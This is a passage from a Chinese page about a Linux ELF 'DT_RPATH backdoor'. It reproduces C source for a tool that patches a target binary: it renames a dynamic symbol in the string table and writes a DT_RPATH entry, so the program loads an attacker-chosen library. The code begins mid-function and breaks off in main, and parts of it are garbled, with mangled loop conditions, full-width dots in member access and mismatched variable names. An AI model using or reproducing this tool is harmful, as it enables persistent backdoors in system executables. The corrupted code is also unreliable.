Linux系统下解析Elf文件DT_RPATH后门

}

dynp++;

}

out:

printf("no space\n");

free(dyn);

return -1;

modify:

if(lseek(fd,shdyn->sh_offset+offset,SEEK_SET)!=shdyn->sh_offset+offset)

ERR("lseek");

if(write(fd,&dt_rpath,sizeof(dynp->d_tag))!=sizeof(dynp->d_tag))

ERR("write");

if(write(fd,index,sizeof(dynp->d_un。d_val))!=sizeof(dynp->d_un。d_val))

ERR("write");

printf("+game over\n");

free(dyn);

return 0;

}

/*---------------------------------modifiy symbol name-------------------------------------------*/

static int mod_sym(int fd , Elf32_Ehdr * ehdr,Elf32_Shdr * shdr,char * symname)

{

Elf32_Shdr * shdrp=shdr;//for loop

Elf32_Shdr * strsym;

char * string;

Elf32_Sym *sym,*symp;

int i;

int find=0;

for(i=0;ie_shnum;i++)

{

if(shdrp->sh_type==SHT_DYNSYM)

{ find=1;

break;

}

shdrp++;

}

if(!find)

{

printf("not find SHT_DYNSYM\n");

exit(1);

}

strsym=&shdr[shdrp->sh_link];

string=(char *)malloc(strsym->sh_size);

if(strsym==NULL)

ERR("malloc");

if(lseek(fd,strsym->sh_offset,SEEK_SET)!=strsym->sh_offset)

ERR("lseek");

if(read(fd,string,strsym->sh_size)!=strsym->sh_size)

ERR("read");

sym=(Elf32_Sym *)malloc(shdrp->sh_size);

if(sym==NULL)

ERR("malloc");

if(lseek(fd,shdrp->sh_offset,SEEK_SET)!=shdrp->sh_offset)

ERR("malloc");

if(read(fd,sym,shdrp->sh_size)!=shdrp->sh_size)

ERR("read");

symp=sym;

for(i=0;ish_size;i+=shdrp->sh_entsize)

{

if(!strcmp(&string[symp->st_name],symname))

{

if(lseek(fd,strsym->sh_offset+symp->st_name,SEEK_SET)!=strsym->sh_offset+symp->st_name)

ERR("lseek");

printf("+modify %s to %s \n",symgname,myname);

if(write(fd,myname,strlen(symgname))!=strlen(symgname))

ERR("write");

free(string);

return symp->st_name;

}

symp++;

}

printf("not find match symbol\n");

return -1;

}

/*---------------------------------file check--------------------------------------------*/

void elf_check(Elf32_Ehdr *ehdr)

{

//add your code here ,not supply

}

/*---------------------------------------main----------------------------------------------------*/

int main(int argc , char * argv[])

{

Elf32_Ehdr ehdr;

Elf32_Phdr *phdr;

Elf32_Shdr *shdr;

char *sdata;

int ofshoff,slen;

int fd;

unsigned int index;

if(argc!=2)

{ printf("usage:%s \n"

"elfADDRPATH by wujianqiang@mail。china。com\n",

argv[0]